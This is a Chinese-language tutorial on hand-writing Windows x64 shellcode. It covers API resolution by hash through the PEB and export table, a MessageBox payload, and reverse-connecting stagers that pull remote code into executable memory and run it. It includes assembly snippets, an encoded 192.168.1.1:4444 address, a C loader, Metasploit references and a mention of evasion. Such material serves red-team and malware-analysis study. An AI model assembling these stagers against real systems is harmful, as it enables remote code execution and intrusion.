Windows Shellcode开发(x64 stager)
字数 2090 2025-08-29 22:41:10
Windows x64 Shellcode开发技术详解
一、环境配置与基础概念
1.1 开发环境搭建
- 工具链:Visual Studio + ml64 + link
- 配置步骤:
- 创建C++控制台应用项目
- 右键项目 → 生成依赖项 → 生成自定义 → 勾选masm
- 添加shellcode.asm文件
- 配置入口点(Debug和Release都需要)
- Release下设置命令行参数:/SAFESEH:NO
1.2 x64 Shellcode关键注意事项
⚠ 最重要的规则:RSP必须保持16字节对齐!
- Windows x64调用约定要求调用函数时RSP必须对齐到16字节边界
- 涉及栈操作时,push/pop指令必须使RSP以0结尾
- 不对齐会导致异常
二、GetProcAddressByHash实现
2.1 核心思路
- 获取PEB地址:从GS寄存器中获取TEB,再获取PEB
- 遍历加载的模块列表:从PEB访问Ldr成员,获取PEB_LDR_DATA结构
- 查找目标DLL:比较每个模块的BaseDllName与目标DLL名称
- 解析目标DLL的导出表:获取PE头,定位导出表,遍历函数名称
2.2 详细实现步骤
-
保存寄存器状态:
- 保存前4个参数(rcx, rdx, r8, r9)到栈上
- 保存rsi的值(非易失性寄存器)
-
获取模块信息:
mov rdx, gs:[rdx+60h] ; 获取PEB mov rdx, [rdx+18h] ; 获取PEB_LDR_DATA mov rdx, [rdx+20h] ; 获取InLoadOrderModuleList第一个模块 -
模块遍历:
movzx rcx, word ptr [rdx+48h] ; 获取模块名称长度 mov rsi, [rdx+50h] ; 获取模块名称指针 -
计算模块hash:
- 将字符串统一为大写或小写(保证大小写不敏感)
- 使用循环右移(ror)计算hash(如ror r8d, 0dh)
-
获取导出表:
mov rdx, [rdx+20h] ; 获取模块基址 mov eax, dword ptr [rdx+3ch] ; 获取PE头RVA cmp word ptr [rax+18h], 20Bh ; 检查PE类型(0x20B=PE64) mov eax, dword ptr [rax+88h] ; 获取导出表RVA -
函数查找:
- 遍历导出表中的函数名称
- 计算函数hash并与目标hash比较
- 找到匹配后获取函数地址
-
调用准备:
- 清理栈空间
- 恢复寄存器状态
- 预留32字节的影子空间(Windows x64调用约定要求)
三、弹窗Shellcode实现
3.1 关键代码结构
main proc
; 栈对齐
and rsp, 0xFFFFFFFFFFFFFFF0
; 调用GetProcAddressByHash获取函数地址
; 调用MessageBoxA等API
ret
main endp
3.2 注意事项
-
字符串处理:
- MASM与NASM字符串表示方式不同
- 正确表示:
mov r14, '23resu'或mov r14,0000323372657375h
-
参数传递:
- 前4个参数:RCX、RDX、R8、R9
- 后续参数:从右到左压栈
- 必须预留32字节影子空间
-
栈对齐技巧:
- 使用
push 0等方式保证RSP对齐 - 每次call前检查RSP是否16字节对齐
- 使用
四、Stager开发技术
4.1 WinINet版Stager
关键实现点:
-
InternetOpen:
- lpszAgent可设为NULL(使用默认UA "Microsoft-WinINet")
-
服务器地址处理:
- 将服务器地址固定在Shellcode末尾,便于修改
- 示例IP表示:
0101A8C05C110002h(192.168.1.1:4444)
-
URI处理技巧:
call httpOpenRequestA db "/uri",0 httpOpenRequestA: pop rsi ; 获取URI地址 -
HttpOpenRequest标志:
- 添加
INTERNET_FLAG_RELOAD强制从服务器获取最新内容
- 添加
-
内存管理:
- 使用VirtualAlloc分配可执行内存
- 注意清理影子空间,确保ret时RSP指向正确地址
4.2 WinHTTP版Stager
与WinINet版的主要区别:
- API函数不同(WinHTTP API系列)
- 连接参数设置方式差异
- 数据接收处理逻辑类似
4.3 WS2_32版Stager(反向TCP)
关键实现:
-
WSAStartup调用:
sub rsp, 400+8 ; WSAData结构体(400字节)+对齐补偿 mov r12, 0101A8C05C110002h ; sockaddr_in结构 -
连接处理:
- 反向连接只需connect,无需bind/listen/accept
- 直接向控制端监听端口发起连接
-
栈空间管理:
- 计算需要清理的栈空间:
- WSAData: 400+8
- push/pop不平衡: 5*8
- 影子空间: 4*32
- 计算需要清理的栈空间:
-
数据接收:
- 分段接收远程代码
- 避免在原始数据开头patch 4字节长度信息
五、测试与提取
5.1 Shellcode测试方法
- 使用010 Editor等工具提取Shellcode二进制
- 使用专用加载器(如runshc64.exe)测试
- 或导出为C语言数组形式嵌入测试程序
5.2 测试程序示例
unsigned char shellcode[] = { /* 提取的Shellcode */ };
int main() {
void (*func)() = (void(*)())shellcode;
func();
return 0;
}
六、高级技巧与注意事项
-
寄存器使用:
- 优先使用R12-R15等非易失性寄存器保存重要值
- 注意调用约定中寄存器的易失性/非易失性
-
对齐问题:
- 所有call指令前必须确保RSP 16字节对齐
- 必要时使用
push 0等指令进行填充
-
字符串处理优化:
- 将字符串放在代码段末尾便于修改
- 使用寄存器直接加载小字符串
-
错误处理:
- 添加适当的错误检查逻辑
- 确保失败时能安全退出
七、参考资源
-
Metasploit框架中的相关汇编代码:
- stager_reverse_https.asm
- block_api.asm
- block_reverse_https.asm
-
Microsoft官方文档:
- x64调用约定
-
相关技术文章:
- Windows Shellcode开发(x86 stager)
八、后续研究方向
- Linux Shellcode开发
- SRDI(反射式DLL注入)技术
- 更复杂的载荷加载与执行机制
- 规避检测的技术实现